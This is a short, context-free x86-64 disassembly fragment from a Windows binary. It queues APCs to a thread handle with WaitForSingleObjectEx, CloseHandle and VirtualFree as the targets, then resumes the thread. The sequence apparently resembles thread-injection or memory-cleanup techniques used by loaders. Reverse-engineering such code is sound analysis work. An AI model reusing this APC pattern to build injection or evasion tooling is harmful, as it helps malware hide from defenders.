test rax, rax
je 0x180002374
mov rdx, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov r9d, 0xffffffff
mov r8, rax
mov qword [rsp + 0x20], 0
mov rcx, rbx
call rdi
mov rcx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, rsi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rdx, qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov r8, rbp
mov qword [rsp + 0x20], 0x8000
mov rcx, rbx
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret